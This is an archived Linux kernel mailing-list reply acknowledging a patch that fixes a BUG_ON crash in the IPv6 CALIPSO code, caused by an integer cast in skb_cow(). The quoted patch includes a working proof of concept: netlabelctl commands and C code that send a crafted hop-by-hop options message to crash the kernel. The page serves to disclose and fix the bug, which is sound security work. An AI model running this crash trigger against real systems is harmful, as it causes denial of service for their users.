lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <CAHC9VhQmR8A2vz0W-VrrhYNQ2wgCYxHbAmdgmM2yTL-uh4qiOg@mail.gmail.com>
Date: Fri, 19 Dec 2025 13:11:26 -0500
From: Paul Moore <paul@...l-moore.com>
To: Will Rosenberg <whrosenb@....edu>
Cc: security@...nel.org, "David S. Miller" <davem@...emloft.net>, 
	David Ahern <dsahern@...nel.org>, Eric Dumazet <edumazet@...gle.com>, 
	Jakub Kicinski <kuba@...nel.org>, Paolo Abeni <pabeni@...hat.com>, Simon Horman <horms@...nel.org>, 
	Huw Davies <huw@...eweavers.com>, netdev@...r.kernel.org, 
	linux-security-module@...r.kernel.org, linux-kernel@...r.kernel.org
Subject: Re: [PATCH] ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

On Fri, Dec 19, 2025 at 12:37 PM Will Rosenberg <whrosenb@....edu> wrote:
>
> There exists a kernel oops caused by a BUG_ON(nhead < 0) at
> net/core/skbuff.c:2232 in pskb_expand_head().
> This bug is triggered as part of the calipso_skbuff_setattr()
> routine when skb_cow() is passed headroom > INT_MAX
> (i.e. (int)(skb_headroom(skb) + len_delta) < 0).
>
> The root cause of the bug is due to an implicit integer cast in
> __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
> that delta = headroom - skb_headroom(skb) is never negative, otherwise
> we will trigger a BUG_ON in pskb_expand_head(). However, if
> headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
> becomes negative, and pskb_expand_head() is passed a negative value for
> nhead.
>
> Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
> "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
> by only using skb_cow() to grow headroom.
>
> PoC:
>         Using `netlabelctl` tool:
>
>         netlabelctl map del default
>         netlabelctl calipso add pass doi:7
>         netlabelctl map add default address:0::1/128 protocol:calipso,7
>
>         Then run the following PoC:
>
>         int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
>
>         // setup msghdr
>         int cmsg_size = 2;
>         int cmsg_len = 0x60;
>         struct msghdr msg;
>         struct sockaddr_in6 dest_addr;
>         struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
>                         sizeof(struct cmsghdr) + cmsg_len);
>         msg.msg_name = &dest_addr;
>         msg.msg_namelen = sizeof(dest_addr);
>         msg.msg_iov = NULL;
>         msg.msg_iovlen = 0;
>         msg.msg_control = cmsg;
>         msg.msg_controllen = cmsg_len;
>         msg.msg_flags = 0;
>
>         // setup sockaddr
>         dest_addr.sin6_family = AF_INET6;
>         dest_addr.sin6_port = htons(31337);
>         dest_addr.sin6_flowinfo = htonl(31337);
>         dest_addr.sin6_addr = in6addr_loopback;
>         dest_addr.sin6_scope_id = 31337;
>
>         // setup cmsghdr
>         cmsg->cmsg_len = cmsg_len;
>         cmsg->cmsg_level = IPPROTO_IPV6;
>         cmsg->cmsg_type = IPV6_HOPOPTS;
>         char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
>         hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
>
>         sendmsg(fd, &msg, 0);
>
> Fixes: 2917f57b6bc1 ("calipso: Allow the lsm to label the skbuff directly.")
> Signed-off-by: Will Rosenberg <whrosenb@....edu>
> ---
>
> Notes:
>     -Changing __skb_cow() would likely require an audit of all its use
>     cases due to its long legacy in the kernel. After private discussions,
>     it was decided that this patch should be applied to calipso to remedy
>     the immediate symptoms and allow for easy backporting. However, net
>     devs should consider remedying the root cause through __skb_cow()
>     and skb_cow().
>
>     -Paul, please let me know if I should add any form of credit for
>     the patch code, such as "Suggested-By."
>
>  net/ipv6/calipso.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)

Folks can add my Suggested-by if they like, but I'm not bothered
either way; getting it fixed upstream is the important part.  Thanks
for your work on this Will!

Acked-by: Paul Moore <paul@...l-moore.com>

> diff --git a/net/ipv6/calipso.c b/net/ipv6/calipso.c
> index df1986973430..21f6ed126253 100644
> --- a/net/ipv6/calipso.c
> +++ b/net/ipv6/calipso.c
> @@ -1342,7 +1342,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
>         /* At this point new_end aligns to 4n, so (new_end & 4) pads to 8n */
>         pad = ((new_end & 4) + (end & 7)) & 7;
>         len_delta = new_end - (int)end + pad;
> -       ret_val = skb_cow(skb, skb_headroom(skb) + len_delta);
> +       ret_val = skb_cow(skb,
> +                         skb_headroom(skb) + (len_delta > 0 ? len_delta : 0));
>         if (ret_val < 0)
>                 return ret_val;
>
>
> base-commit: ea1013c1539270e372fc99854bc6e4d94eaeff66
> --
> 2.34.1

-- 
paul-moore.com

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ